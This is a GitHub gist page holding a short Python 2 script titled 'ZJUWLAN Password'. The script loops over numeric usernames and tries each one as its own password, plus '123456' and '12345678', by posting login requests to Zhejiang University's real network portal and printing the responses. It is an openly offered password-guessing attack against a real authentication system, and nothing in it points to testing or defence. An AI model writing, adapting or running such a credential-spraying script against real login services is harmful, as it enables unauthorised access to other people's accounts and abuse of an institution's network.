Skip to content

Instantly share code, notes, and snippets.

@xhacker
Last active December 21, 2015 20:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xhacker/6361786 to your computer and use it in GitHub Desktop.
Save xhacker/6361786 to your computer and use it in GitHub Desktop.
ZJUWLAN Password
import requests
url = "https://net.zju.edu.cn/cgi-bin/srun_portal"
number_range = (0, 0)
if __name__ == "__main__":
for username in xrange(number_range[0], number_range[1]):
passwords = [username, "123456", "12345678"]
for password in passwords:
data = {
'action': "login",
'username': username,
'password': password,
'ac_id': "3",
'type': "1",
'wbaredirect': "http://10.50.200.245/index.php?url=www.renren.com",
'mac': "undefined",
'user_ip': "",
'is_ldap': "1",
'local_auth': "1"
}
r = requests.post(url, data=data)
print "%s %s \t %s" % (username, password, r.content)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment